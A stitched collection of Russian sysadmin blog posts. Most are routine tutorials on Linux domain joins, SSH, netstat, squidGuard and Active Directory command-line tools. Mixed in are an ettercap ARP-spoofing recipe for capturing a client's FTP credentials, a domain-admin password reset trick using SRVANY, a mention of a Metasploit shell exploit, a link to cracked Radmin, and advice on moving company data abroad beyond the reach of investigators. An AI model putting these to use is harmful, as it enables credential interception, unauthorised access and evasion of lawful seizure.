Что же мы можем сделать с данными, что бы они ни стали легкой добычей:
- Зашифровать
- Спрятать сервер с данными физический
- Переместить данные за пределы офиса
Зашифровать
Итак, вы как руководитель, решили обеспечить сохранность ваших данных, зашифровав их. Современные стойкие крипто алгоритмы (AES, ГОСТ 28147-89) позволяют гарантировано обеспечить сохранность ваших данных и невозможность расшифровки, не обладая секретным ключом.
С первого взгляда защита идеальная. Современное программное обеспечение, такое как TrueCrypt или PGP позволяет быстро и надежно настроить шифрование, зашифровать целые разделы жесткого диска, и даже установить на эти разделы операционные системы.
Но, есть и ложка дегтя в бочке меда, чем большее количество данных вы хотите обезопасить, тем сложнее и изощрённее должна быть система шифрования, тем больше усилий придется прилагать вам для поддержания системы в рабочем состоянии и обеспечения сохранности зашифрованных данных, тем больше будет вероятность потери или компрометации ключа а, следовательно, и данных.
Если вам надо зашифровать один съёмный жесткий диск это идеальный вариант, но если вы хотите обеспечить конфиденциальность данных целого отдела, то шифровать все жесткие диски всех компьютеров выльется целым «безумием».
Кроме того для обеспечения общего доступа к данным вам придется делиться ключом с сотрудниками, вы действительно считаете, что все из них будут настолько лояльны к вашей организации, что не выдадут ключ при первом же общении со следователем.
В любом случае наличие, каких бы то ни было зашифрованных данных на серверах или рабочих станциях компании не останется незамеченным. Спрятать такую информацию от грамотного специалиста практически невозможно. А сам факт её существования уже будет не в вашу пользу.
Спрятать сервер с данными физический
Еще один очень распространенный вариант, который часто советуют на форумах, и, что более удивительно к нему прибегают на практике. Вся суть этого способа в организации файлового сервера на базе сетевого носителя другими словами на NAS сервере, который достаточно компактен и его можно спрятать под фальшь потолок, замуровать в стену или еще каким-нибудь хитрым способом укрыть от всевидящего ока “саурона”, зависит от фантазии.
В свою очередь, такой способ хранения данных в несколько раз увеличивает вероятность простоя организации из за потери этих данных, что неудивительно, так как хранение оборудование в пыльной темнице под фальшь потолком ну никак не продлит жизнь жестких дисков и прочих внутренностей, тут даже RAID не спасет, а банальный сбой электропитания вообще может вывести NAS из строя или мы будем замуровывать вместе с сервером и ИБП. Сервер должен храниться в защищенным от пыли кондиционированном помещении и это требование не пустой звук, а насущная необходимость.
Если я вас не убедил, то могу добавить, что существование подобного сервера легко вычисляется программно-техническая экспертизой более доступного оборудования. А получить к нему доступ после того как офис будет опечатан вы уже не сможете.
Переместить данные за пределы офиса
Этот вариант отличается от двух предыдущих тем, что данные не хранятся непосредственно в офисе и работа с ними ведется на удаленных серверах, расположенных в месте недоступных для отечественной юстиции.
Практическая реализация представляет из себя покупку или аренду нужного количества выделенных серверов в иностранном датацентре, например, в Германии или Нидерландах.
При грамотной настройке программного обеспечения повседневная работа ничем не будет отличаться от работы на обычном офисном компьютере, а данные будут надежно скрыты в случае непредвиденных обстоятельств.
В конце своего обзора я бы хотел привести небольшую сравнительную таблицу оценки каждого способа по нескольким критериям.
Безопасность – безопасность хранения данных и их недоступность для третьих лиц
Надежность – защищенность от сбоев и ошибок оператора
Удобство – насколько удобно работать с данными
Сложность реализации – трудозатраты на реализацию
Масштабируемость – возможность расширения
| Способ\Критерий* | Безопасность | Надежность | Удобство | Сложность реализации | Масштабируемость |
| Шифрование | Высокая | Средняя | Низкое | Высокая** | Низкая |
| Спрятать сервер | Низкая | Низкая | Высокое | Низкая | Низкая |
| Удаленный сервер | Высокая | Высокая | Высокое | Средняя | Высокая |
* Положительный факторы помечены, синим, отрицательные красным, нейтральные зеленым.
** Высокая оценка дана в виду того что с ростом инфраструктуры сложность реализации растет нелинейно
PS Я не претендую на истину в последней инстанции, но эта статья написана с учетом многолетнего опыта и надеюсь, будет полезна её читателем. Если вам есть, что добавить, спросить или покритиковать с большой радостью ответу на ваши комментарии.
Первая проблема оказалась в том, что
apt-get install sun-java6-jre не находило нужного пакета. Как оказалась в Lucid Lynx java заменили на
openjdkРешение простое.
Редактируем
/etc/apt/sources.list и добавляем deb http://archive.canonical.com/ lucid partnerОбновляем репозиторий
apt-get updateУстанавливаем
java apt-get install sun-java6-jreВзято тут: http://blog.poggs.com/2010/05/openfire-3-6-4-o
Вторая проблема, оказалась не столь тривиальна и была связана с тем, что выше установленная java отказывалась работать на моем vps в виду нехватки памяти.
При попытке посмотреть свою версию, ругалась, что не может создать виртуальную машину
java -version
Error occurred during initialization of VM
Could not reserve enough space for object heap
Could not create the Java virtual machine.Лечиться, это дело опцией
-Xmx64m которая означает, что при старте java будет использовать всего 64 мб оперативной памяти (впрочем у меня работало даже при 16)java -Xmx64m -version
java version "1.6.0_10"
Java(TM) SE Runtime Environment (build 1.6.0_10-b33)
Java HotSpot(TM) Client VM (build 11.0-b15, mixed mode)Осталось подправить init скрипт для openfire, находим в /etc/init.d/openfire строку
DAEMON_OPTS="$DAEMON_OPTS -server -DopenfireHome=${DAEMON_DIR}
И правим её наDAEMON_OPTS="$DAEMON_OPTS -Xmx64m -server -DopenfireHome=${DAEMON_DIR}
Это решение нашел на официальном форуме openfire
http://community.igniterealtime.org/message/184003%3bjsessionid=456B383545943AE50441CA3446963833
Далее, я рассмотрю, другой способ добавления компьютера в домен/рабочую группу. Данный способ использует WMI и такой инструмент как wmic.exe.
Этот способ описан в MSDN, он использует wmic.exe для непосредственного вызова метода JoinDomainOrWorkgroup.
Описание JoinDomainOrWorkgroup
uint32 JoinDomainOrWorkgroup(
[in] string Name,
[in] string Password,
[in] string UserName,
[in, optional] string AccountOU,
[in] uint32 FJoinOptions = 1
);
Параметры
UserName, параметр Password должен указывать пароль пользователя для подключения к контроллеру домена. В противном случае, параметр не указывается.2 (0x2) - Создает аккаунт в домене
16 (0x10) - Процедура присоединения является частью апгрейда с Windows 98,Windows 95 до Windows 2000бТЕ
64 (0x40) - Разрешает небезопасное присоединение к домену
256 (0x100) - Запись атрибутов SPN, DnsHostName должна быть отложена, до следуещего за присоединением к домену переименованием компьютера.
Функция вернет ноль в случае успеха.
Выполнение (\\COMPUTERNAME\ROOT\CIMV2:Win32_Compute
rWorkgroup()
Успешный вызов метода.
Параметры вывода:
instance of __PARAMETERS
{
ReturnValue = 0;
};
Пример для присоединения компьютера к домену из командной строки:
wmic.exe /interactive:off ComputerSystem Where "name = '%computername%'" call JoinDomainOrWorkgroup AccountOU="OU=XP Workstations;DC=my;DC=domain;DC=com" FJoinOptions=1 Name="my.domain.com" Password="xyz"
UserName="admin@my.domain.com"
wmic.exe /interactive:off ComputerSystem Where "name = '%computername%'" call JoinDomainOrWorkgroup "OU=XP Workstations;DC=my;DC=domain;DC=com", 1, "my.domain.com", "xyz", "admin@my.domain.com"
Пример для присоединения компьютера к рабочей группе из командной строки:
wmic.exe /interactive:off ComputerSystem Where "name='user'" call JoinDomainOrWorkgroup Name="Workgroup"Забыли пароль администратора? - Смена пароля доменного администратора в Windows Server 2003 AD (Forgot the Administrator’s Password? – Change Domain Admin Password in Windows Server 2003 AD )
Заметка: Для того, что бы успешно воспользоваться этим трюком, вам сначала необходимо применить одну из утилит восстановления пароля локального администратора. Причина кроется в том, что вам необходим административный доступ к серверу прежде чем побывать восстановить пароль доменного администратора, а для получения пароля локального администратора вам надо применить метод описанный по ссылке выше.
Обновление: После некоторых отзывов читателей, я рад сказать, что описанная процедура также работает для контроллеров домена на базе Windows Server 2008*. Не стесняйтесь оставлять ваши отзывы. Я сохранил оригинальный текст страницы относящийся к Windows Server 2003, но вы можете выполнить те же самые действия и для Windows Server 2008
Заметка ламера: Это процедура НЕ разработана для Windows XP так как Windows XP это НЕ доменный контроллер. Кроме того, для Windows 2000 версия этой статьи находиться по ссылке Забыли пароль администратора? - Меняем пароль доменного администратора в Windows 2000 AD. Читатель Sebastien Francois добавил свои персональные рекомендации относящиеся к смене пароля в домене Windows Server 2003. Я процитирую часть из них. (Спасибо Sebastien): Требования
- Физический доступ к контроллеру домена.
- Пароль локального администратора.
- Утилиты поставляемые Microsoft в их Resource Kit: SRVANY and INSTSRV. Их можно загрузить тут (24kb).
Перезагрузите Windows Server 2003 в Режиме Восстановления Службы Каталогов ( Directory Service Restore Mode ) Заметка: Во время начальной загрузки системы, нажимайте F8 и выберите Режиме Восстановления Службы Каталогов ( Directory Service Restore Mode ). Это отключит службу каталогов (Active Directory). Когда появиться экран ввода имени пользователя и пароля, войдите как локальный администратор. Теперь вы имеете полный доступ к ресурсам компьютера, но вы не можете делать никаких изменений в службе каталогов (Active Directory).
Шаг 2
Сейчас вам необходимо установить SRVANY. Эта утилита может запустить любую программу в виде сервиса. Интересная особенность в том, что программа будет иметь привилегии системы (так как унаследует контекст безопасности SRVANY) т.е будет иметь полный доступ к системе. Этого более чем достаточно, что бы переустановить пароль доменного администратора. Настроим SRVANY на запуск командной строки (которая запустит команду 'net user') Скопируйте SRVANY и INSTSRV во временную папку, моя называется D:\temp. Так же скопируйте в эту папку cmd.exe (cmd.exe это интерпритатор командной строки обычно находящийся в папке %WINDIR%\System32).
Запустите командную строку из папки d:\temp (или из той которую создали вы), и наберите:
instsrv PassRecovery "d:\temp\srvany.exe"(поменяйте путь на тот который выбрали вы)
Теперь пришло время настроить SRVANY Запустите редактор реестра и перейдите к ветке
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PassR
Создайте новый раздел, назовите его Parameters и добавьте два новых значения
name: ApplicationЗамените 123456 на пароль который хотите**. Помните, что групповая политика домена по умолчанию требует сложных паролей (включающих цифры, отвечающих требованиям минимальной длины и т.д так что до тех пор пока вы не измените групповую политику по умолчанию используйте сложные пароли таки как P@ssw0rd
type: REG_SZ (string)
value: d:\temp\cmd.exe
name: AppParameters
type: REG_SZ (string)
value: /k net user administrator 123456 /domain
Теперь, откройте оснастку сервисы (Control Panel\Administrative Tools\Services) и откройте вкладку свойст PassRecovery.
Проверьте что режим запуска стоит автоматически.
Перейдите на вкладку Вход в систему (Log On) и включите опцию Разрешить взаимодействие с рабочим столом (Allow service to interact with the desktop).
Перезагрузите Windows в обычном режиме, SRVANY запустит команду NET USER и переустановит пароль доменного администратора.
Шаг 3
Зарегистрируйтесь в системе под администратором используя пароль который вы установили на шаге два.
Воспользуйтесь этими командами, что бы деинсталировать SRVANY (не забудьте сделать это).
net stop PassRecoveryТеперь удалите папку d:\temp и поменяйте пароль администратора если желаете.
sc delete PassRecovery
На этом всё!
Дополнение
Robert Strom написал отличный скрипт который полностью автоматизирует этот процес. Он пишет:
"Мой скрипт в действительности автоматизирует процесс, выполняет все операции самостоятельно. Запустите скрипт один раз и всё готово. не надо вручную править записи в реестре, создавать и настраивать сервис и т.п"
Скачайте его здесь (186kb).
Отметим, что вам все еще нужен физический доступ к контроллеру домена и возможность зарегистрироваться в системе в качестве локального администратора. Если вы не знаете пароль локального администратора, пользуйтесь следующей ссылкой: Забыли пароль локального администратора. Спасибо Роберт!
Благодарности
Эта заметка была написана благодаря помощи Antid0t, Robert Strom и Sebastien Francois. Спасибо вам всем!
Ссылки
How to reset the Domain Admin Password under Windows 2003 Server
Original post by Antid0t and Robert Strom on the Petri.co.il forums
Вы так же можете обсудить на форуме в этой ветке Petri.co.il Forgot Admin Password Forum.
*проверено мной на Windows Server 2008 Standart
**если DC у вас установлен на русскоязычном windows, то вам еще следует заменить administrator на администратор
Прежде всего охота заметить, что бегать и вручную устанавливать ПО на каждый компьютер никто не будет, для этого воспользуемся такой прекрасной вещью как групповые политики (GPO). Заходим на контроллер домена под учетной записью администратора и открываем оснастку Управление групповыми политиками (для этого в диалоге выполнить вводим gpmc.msc если кто не знает). Если оснастка управление групповыми политиками у вас не установлена крайне рекомендую скачать её с сайта Microsoft.

Для создания групповой политики установки Radmin выберите контейнер с компьютерами на которые необходимо установить Radmin и в конткстном меню выберите пункт Create and Link GPO here. (Создать и прикрепить групповую политику тут).
Назовите новый объект групповой политики, например, Radmin Install.

В новом объекте групповой политики, выберите Конфигурация компьютера -> Конфигурация программ -> Установка программ -> Создать -> Пакет
Предварительно, создайте сетевой ресурс доступный для всех компьютеров домена. Важно, правильно установить разрешения доступа, что бы ресурс был доступен для компьютеров на момент выполнения политики. Для этого группе "прошедшие проверку" добавите разрешения чтение и выполнения в безопасности windows. Стоит помнить, из сетевых разрешения и разрешений NTFS выбирается наиболее строгое. Не забудьте скопировать установочные файлы Radmin на сетевой ресурс. У меня это файл rserv34ru.msi. Я использую предварительно вылеченную от жадности версию, выложил её на рапиду если кому необходима.
Еще один нюанс, при создание установочного пакета, выбирайте сетевой а не файловый путь, с файловым путем GPO по понятным причинам работать не будет.
Метод развертывания Назначенный.
Вот мы и создали объект групповой политики для централизованной установки Radmin Server 3.4 теперь при следущей перезагрузки рабочих станций, на них будет установлен Radmin, если, по каким-то причинам политика не выполниться, эти причины всегда можно узнать в журнале событий.
Но, это еще не всё, недостаточно просто установить Radmin, необходимо еще настроить разрешения, что бы те администраторы, которым положено, могли подключатся к компьютерам при помощи Radmin viewer. Сейчас при попытки подключения, нас будет запрашивать логин и пароль,что не есть хорошо.
Перейдем к самому интересному, настройке разрешений. Для этого, нам понадобиться, рабочая станция подключенная к домену на которую установлен вышеописанным способом Radmin Server. (можно вручную установить радмин сервер на свой компьютер, главное что бы он был в домене)
Итак, пуск->все программы->radmin server 3->Настройки Radmin Server. В окне Настройки Radmin Server нажимаем права доступа, на остальных опциях я останавливаться не буду, там всё предельно ясно.
Ставим галочку Windows NT, нажимаем кнопку Права доступа. В окне разрешения для группы Radmin Server, выбираем тех пользователей и/или группы который будут иметь доступ для администрирования компьютеров в нашем домене. После чего, сохраняемся и закрываем окно настроек.
Теперь, необходимо распространить эти настройки на все компьютеры с установленным радмином. Для этого, понадобиться редактор реестра. Пуск->Выполнить->Regedit. Радмин, хранит свои настройки в ключе "HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v
chcp 866
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v 3.0\Server" /v "HackRemoveIcon" /t "REG_SZ" /d "1" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v 3.0\Server\Parameters" /v "NTAuthEnabled" /t "REG_BINARY" /d "01000000" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v 3.0\Server\Parameters\NtUsers" /v "1" /t "REG_BINARY" /d "0000002400000000ff010000010642536245256 2456a28b9d7aa510a436bf841050000000000240 0000000ff0100000105000000000005150000002 7a5fa28b9d7aa510a436bf88b040000" /f
rmdir "C:\Documents and Settings\All Users\ѓ« ў®Ґ ¬Ґо\Џа®Ја ¬¬л\Radmin Server 3.0" /q /s
Осталось дело за малым, запустить этот скрипт на всех компьютерах где у нас установлен Radmin.
Для этого, можно создать новый (или воспользоваться уже существующим) объект групповой политики, перейти в Конфигурация компьютера-> конфигурация Windows-> Сценарии(Запуск/Завершение) и добавить наш скрипт в качестве сценария автозагрузки.
После чего, при следующий перезагрузки рабочих станций, необходимые права доступа будут прописаны у них в реестре и администратор, сможет беспрепятственно подключаться и помогать пользователям в нелегком деле освоения ПК.
Надеюсь это статья будет полезна, жду ваших отзывов, комментарий, предложений и вопросов.
Скрипт который я разметил в этом посте используется мной как шпаргалка, шутка ли, но после нескольких лет программирование на Delphi синтаксис другого языка очень непривычен. В скрипте затронуты такие темы как: составные операторы присваивания, работа со строками, константы, математические операции, условный оператор и оператор выбора, циклы, работа с функциями, указатели и массивы. Хотелось бы добавить, но пока не дошли руки: многомерные массивы, ооп, работа с файлами, работа с бд.
( К тексту скрипта ... )PS ... Отличная книга для тех кто решил выучить-таки PHP и MySQLИтак, представим, что мне надо перехватить трафик от клиента к FTP серверу и узнать пароль и имя пользователя, я, клиент и сервер находимся в одной подсети, скажем 192.168.0.0/24 (что может быть проще, хе хе). Мы знаем IP адрес сервера, скажем 192.168.0.17 и адрес клиента, пусть 192.168.0.202.
Теперь, логинемся в консоль под рутом и начнем наше "чисто в образовательных целях" дело )))
Что бы каждый раз не писать sudo
$ sudo -iУстановим сниффер etthercap, меня вполне устраивает тот что есть в репозитории ubuntu но если кому хочется можете скачать тарбол с официального сайта.
# apt-get install ettercapЧто бы ознакомиться с этим чудо продуктом (никакой иронии), сниффер будет тихо слушать интерфейс eth0 и никак себя не выдавать.
# ettercap -Tzq -i eth0Опция
-T заставляет ettercap использовать текстовый интерфейс (другого в ubuntu server нету)
-z отговаривает проводить arp сканирование
-q не отображать содержимое пакетов
Остальные опции можно посмотреть командой
# ettercap -hВернемся к нашему ARP спуффингу, следующая команда перехватит весь трафик между 192.168.0.202 и 192.168.0.17 и запишет его в файл в pcap формате.
# ettercap -i eth0 -T -q -w shiff.log -M ARP /192.168.0.202/ /192.168.0.17/Опция -M как раз и говорит нашему снифферу использовать Man-in-Middle
Файл sniff.log можно просмотреть например Etterlog, Wireshark или Cain & Abel который ко всему прочему вытащит из него все пароли.
Удачи.
Пост написан по материалам synjunkie.blogspot.com
Итак, перед нами, черная командная строка Windows, на чудо сервере w2k3, а может даже w2k8 или w2k8r2 или, упаси бог, w2k, совсем забыл про w2k3r2.
Мы хотим увидеть всех юзеров домена. Нет ничего проще, выполним.
net user /domainОднако вывод в 3 столбца нас не порадует, особенно если мы захотим использовать его в скрипте. Очень неудобно. Вот тут нам и придет на помощь DSQUERY что бы представить результат в одну колонку удобную для использования в скриптах.
dsquery * -filter "(&(objectcategory=person)(objectclass=u ser)(name=*))" -limit 0 -attr samaccountnameПосмотреть информацию о конкретном пользователе можно так
dsquery * -filter "(&(objectcategory=person)(objectclass=u ser)(samaccountname=jimm))" -limit 0 -attr *Создать нового пользователя тоже не проблема
dsadd user "CN=Bob Ball,OU=Internal,DC=walliford,DC=local" -Samid BobB -Pwd Eviluser123 -fn Bob -Ln Ball -Display "Bob Ball" -Office Leeds -Tel "01233 455779" -Dept HR -hmdir \\wal-filer\users\BobB -Title Manager -upn BobB@walliford.localСписок групп доступных в домене
dsquery * -filter "(&(objectcategory=group)(objectclass=gr oup)(name=*))" -limit 0 -attr NameДобавляем вновь созданного пользователя в группу
dsmod group "CN=HR,OU=Internal,DC=walliford,DC=l ocal" -addmbr "CN=Bob Ball,OU=Internal,DC=walliford,DC=local"</code></code></code>
И напоследок, что нам говорит Microsoft на эту тему, а Microsoft нам говорит: Как использовать средства командной строки для управления объектами Active Directory в Windows Server 2003
Примеры взял с очень хорошего блога по информационной безопасности всем рекомендуемого к изучению (английский язык).
Кроме того, для этой уязвимости есть свежий exploit, который доступен в базе Metasploit Framework, посмотреть видео и описание атаки можно тут.
У меня, без проблем, получилось получить шел на свой компьютер (Windows 7 Ultimate с последними апдейтами).
Не самое элегантное, но рабочее решение как себя обезопасить.
Microsoft наконец-то выпустила внеплановый патч для устранения данной уязвимости (02.08.2010)
Необходимо создать файл /etc/init.d/local
#sudo nano /etc/init.d/local
Так как это shell скрипт в начало файла необходимо добавить
#!/bin/sh
Надо сделать файл /etc/init.d/local исполняемым
# sudo chmod +x /etc/init.d/local
Сделать /etc/init.d/local скрипт System V скриптом
# sudo update-rc.d local defaults 80
После всех вышеописанных манипуляций, можно добавлять команды в файл /etc/init.d/local
и они будут выполнены при старте системы.
Перевод ubuntu community документации.
Важный момент настройки любого почтового сервера, про который часто не знают начинающие администраторы, это верная настройка PTR записи для домена и FQDN имени почтового сервера.
550 5.7.1 Client host rejected: cannot find your hostname
На досуге сваял тему для Windows 7 посвященную мотоциклам yamaha, в теме 23 фона для рабочего стола в разрешении 1600x1200 пикселей, все фото взяты с официального сайта компании. Как говориться, лучше один раз увидеть чем сто раз услышать, так, что выкладываю скриншот.
| | |
Так же выкладываю заставку с мотоциклом Yamaha Fazer 6s2 очень красивую.
Скачать всё это счастье можно по ссылкам ниже.
Тема для Windows 7 и Заставка Yamaha Fazer 6s2 надеюсь понравиться :)
Product installation unsuccessful, please reinstall (Error 24)
Естественно переустанавливать это счастье совсем не хочется ...(особенно на пару десятков компьютеров) поэтому я начал изыскания по данной теме ...
И, прежде всего, заглянул на официальный форум corel.
Вот, что мне удалось узнать.
Проблема эта возникает после установки обновления от microsoft, а именно kb981793 призванного чего-то поправить с часовыми поясами )))
Ситуацию можно исправить, переводом часов назад на февраль месяц, день и время можно не менять ... после чего корел будет успешно запускаться ... кто-то даже говорит, что время можно после этого вернуть обратно и всё будет работать. (у меня так не получилось)
К сожалению, данный способ очень неудобен в корпоративной среде, поэтому с замиранием сердца жду комментариев от разработчиков и парней из компании microsoft которые меня так вкусно кормили сыром с плесенью на презентации нового office 2010.
Но, всё не так плохо, со временем Microsoft одумался и создал плагин для Windows Server Backup, а потом и встроил его в Exchange 2007 Service Pack 2.
Так что, если вы до сих пор не установили SP2 для Exchange, качать можно отсюда, только не забудьте сделать backup (такой вот каламбур )
А как делать сам backup, можно прочитать тут.
Удачи ...
Остановлюсь на наиболее часто применимых функциях данной команды ....
1. Получение информации о сетевых интерфейсах ...
# netstat -i
Kernel Interface table
Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0 1500 0 550756 0 0 0 38274 0 0 0 BMRU
eth1 1500 0 33127 0 0 0 51860 0 0 0 BMRU
lo 16436 0 7734 0 0 0 7734 0 0 0 LRU
netstat -i -e будет анологичен команде ifconfig2. Мониторинг сетевых соединений
netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:microsoft-ds *:* LISTEN
tcp 0 0 *:netbios-ssn *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 192.168.0.21:36495 kdc.domain:microsoft-ds ESTABLISHED
tcp 0 0 192.168.0.21:51296 kdc.domain.local.:ldap ESTABLISHED
tcp 0 0 192.168.0.21:ssh sysadmin.domain.local:23713 ESTABLISHED
tcp6 0 0 [::]:ssh [::]:* LISTEN
udp 0 0 192.168.0.21:netbios-ns *:*
udp 0 0 192.168.134.:netbios-ns *:*
udp 0 0 *:netbios-ns *:*
udp 0 0 192.168.0.2:netbios-dgm *:*
udp 0 0 192.168.134:netbios-dgm *:*
udp 0 0 *:netbios-dgm *:*Можно видеть, что с компьютера sysadmin есть подключение к серверу по протоколу ssh. Netstat -a так же отображает именованые UNIX сокеты, но так как их списко весьма велик, я не стал его приводить.
3. Список процессов прослушивающих сеть
# netstat -lp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 *:microsoft-ds *:* LISTEN 1027/smbd
tcp 0 0 *:netbios-ssn *:* LISTEN 1027/smbd
tcp 0 0 *:ssh *:* LISTEN 845/sshd
...Видим, что демон sshd с PID 845 принимает подключения на порт ssh (22) с любого IP адреса ...
4. Таблица маршрутизации
# netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.134.0 * 255.255.255.0 U 0 0 0 eth1
192.168.0.0 * 255.255.255.0 U 0 0 0 eth0
default 192.168.134.12 0.0.0.0 UG 0 0 0 eth1 Колонка флаг может содержать: U - активный маршрут, G - шлюз, H- хост , D - маршрут полученный от ICMP
Вся основная информация о сетевых подключениях и службах компьютера, может быть узнана этой полезной командой ...
Прошло девять месяцев с моего первого поста и я решил обновить дизайн журнала и немного поработать над юзабилити. В первую очередь выбрал более светлую тему для удобства чтения текста, убрал, вообщем-то, никому не нужный календарь и аватар, обновил заголовок …
Изначально журнал создавался как нечто абстрактное и непонятное, просто что бы был, постепенно я нашел для него амплуа и сейчас использую его в основном как записную книжку для компьютерных советов (статей, шпаргалок) автором которых являюсь, впрочем не гнушаюсь и рецептами бургеров (в которых я троль и дилетант по мнению одного товарища).
Спасибо всем, кто посещают мою страничку … как оказалось, осознание того что ты кому-то помогаешь и/или можешь помочь неплохо мотивирует на обновление и развитие журнала.
PS Критика, конструктивная и не только, приветствуется и одобряется ...
Зависимости
* Bison (генератор анализаторов синтаксиса (parser) выражений (заменяет yacc - Yet Another Compiler Compiler))
* Flex (инструмент для генерации программ, распознающих заданные образцы в тексте.)
* Berkeley DB V.2.7.7, V3.2.x or 4.x
Примечание: Berkeley DB версии 4.7 при компиляции выдает ошибку. До версии 4.6 компилируется без проблем.
* Си компилятор, например GCC
Начнем
# sudo apt-get install bison flex gccНеобходима Berkeley DB (рекомендуется версия 4.6)
# wget http://www.xoroz.com/files/db-4.6.21.tar.g z
# tar -zxvf http://www.xoroz.com/files/db-4.6.21.tar.g z
# cd db-46
# cd build_unix
# ../dist/configure -prefix /usr/local/BerkeleyDBСобираем
# make
Устанавливаем # sudo make installОбновляем библиотеку
# sudo -i # echo "/usr/local/BerkeleyDB/lib" >> /etc/ld.so.conf# ldconfig# ldconfig -v | grep libdb-4# exit Теперь загружаем и устанавливаем squidGuard
# wget http://www.squidguard.org/Downloads/squi dGuard-1.4.tar.gz
# tar -zxvf squidGuard-1.4.tar.gz
# cd squidGuard-1.4
# ./configure --with-squiduser=proxy (по умолчанию squid)
# make
# sudo make installДля проверки можно воспользоваться командой
#squidGuard -v
Вот и всё ...
Домен Windows 2003, cервер Ubuntu 9.10 с уже настроенной сетью и доступом по SSH (смотреть предыдущий пост)
имя домена: DOMAIN
полное имя домена: DOMAIN.LOCAL
учетная запись администратора домена: admin
главный контроллер домена: PDC1
имя linux сервера: SERVER
Задача
Ввести linux сервер в домен Windows.
Решение
для того что бы каждый раз нам не приходилось набирать sudo будем работать под root с ОСОБОЙ ВНИМАТЕЛЬНОСТЬЮ!!!
$ sudo -i
Установим необходимые пакеты
В процессе установки krb5-user надо будет указать kerberos сервер нашей сети, обычно это контролер домена (PDC1.DOMAIN.LOCAL)
# sudo apt-get update
# apt-get install samba winbind krb5-user
Редактируем файл /etc/krb5.conf (Важно ...большие буквы!)
# cp /etc/krb5.conf /etc/krb5.conf.orig не забываем о резервной копии
# cp /dev/null /etc/krb5.conf что бы не читать много букв, удаляем все содержимое файла (внимание! сначала копия, потом удаляем, не наоборот)
# nano /etc/krb5.conf редактируем в редакторе nano
default = FILE:/var/log/krb5libs.log
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log
[libdefaults]
ticket_lifetime = 24000
default_realm = DOMAIN.LOCAL
dns_lookup_realm = true
default_tkt_enctypes = des3-hmac-sha1 des-cbc-crc
default_tgs_enctypes = des3-hmac-sha1 des-cbc-crc
[realm]
DOMAIN.LOCAL = {
kdc = PDC1
admin-server = PDC1
default_domain = DOMAIN.LOCAL
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
[kdc]
profile = /var/kerberos/krb5kdc/kdc.conf
[appdefaults]
pam = {
debug = false
ticket_lifetime = 36000
renew_lifetime = 36000
forwardable = true
krb5_convert = false
}
# cp /etc/samba/smb.conf /etc/samba/smb.conf.orig
# cp /dev/null /etc/samba/smb.conf
# nano /etc/samba/smb.conf
security = ads
netbios name = SERVER
realm = DOMAIN.LOCAL
password server = PDC1.DOMAIN.LOCAL
workgroup = DOMAIN
idmap uid = 10000 - 20000
idmap gid = 10000 - 20000
winbind enum users = yes
winbind enum groups = yes
winbind use default domain = yes
domain master = no
client use spnego = yes
# Для корректного отображения русских символов
dos charset = 866
unix charset = UTF-8
display charset = koi8-r
Редактируем файлы
/etc/nsswitch.conf
/etc/pam.d/common-account
/etc/pam.d/common-auth
/etc/pam.d/common-password
/etc/pam.d/common-session
# cp /etc/nsswitch.conf /etc/nsswitch.conf.orig
#cp /dev/null /etc/nsswitch.conf
# nano /etc/nsswitch.conf
group: compat winbind
shadow: compat
hosts: files dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
# cp /dev/null /etc/pam.d/common-account
# nano /etc/pam.d/common-account
account required pam_unix.so
# cp /dev/null /etc/pam.d/common-auth
# nano /etc/pam.d/common-auth
auth sufficient pam_winbind.so
auth required pam_unix.so nullok_secure use_first_pass
# cp /dev/null /etc/pam.d/common-password
# nano /etc/pam.d/common-password
# cp /dev/null /etc/pam.d/common-session
# nano /etc/pam.d/common-session
session optional pam_foreground.so
session required pam_mkhomedir.so umask=0022 skel=/etc/ske1
# /etc/init.d/samba restart
Инициализируем kerberos (необходимо будет ввести пароль доменного админа)
# kinit admin@DOMAIN.LOCAL (важно, домен большими буквами!)
Для проверки, утилитой klist можно просмотреть кеш kerberos в нем должен быть билет для пользователя admin
# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: admin@DOMAIN.LOCAL
Если всё нормально, то заводим сервер в домен.
# net ads join -U admin
Enter admin's password:
Using short domain name -- DOMAIN
Joined 'SERVER' to realm 'domain.local'
Вот и всё, завели linux сервер в домен windows:)
Для проверки можно воспользоваться командой wbinfo
Должно выдать всех пользователей домена
#wbinfo -u
Должно выдать все группы домена
#wbinfo -g
#sudo apt-get update
#sudo apt-get install openssh-server
Демон sshd конфигурируется с помощью файла /etc/ssh/sshd_config и по умолчанию слушает порт 22, можно оставить конфигурационный файл без изменений, но я изменю стандартный порт на 1422(2222) (хотя это совсем не обязательно)
Не лишним будет перед тем как лезть в конфиг файл, сделать его копию
#sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.original
#sudo nano /etc/ssh/sshd_config
Изменить Port 22 на Port 1422 и сохранить
#sudo /etc/init.d/ssh restart
В принципе, уже можно подключаться к серверу удаленно … пользователи Windows могут воспользоваться замечательной утилитой http://www.putty.org, при подключении достаточно указать порт и адрес, а так же очень желательно кодировку UTF-8.
Для тех кто ленив .... недостаток схемы описанной выше заключается в том, что при подключении надо вводить пароль, а раз так то система не застрахована от brutforce атаки, да и вообще пароль это не очень удобно. Обойти такое безобразие нам поможет аутентификация при помощи заранее генерированной пары закрытого и открытого ключа.
Эти ключи позволят нам аутентифицироваться на сервере без ввода пароля.
Генерируем пару ключей, открытый и закрытый ключ.
# ssh-keygen -t rsa -b 2048
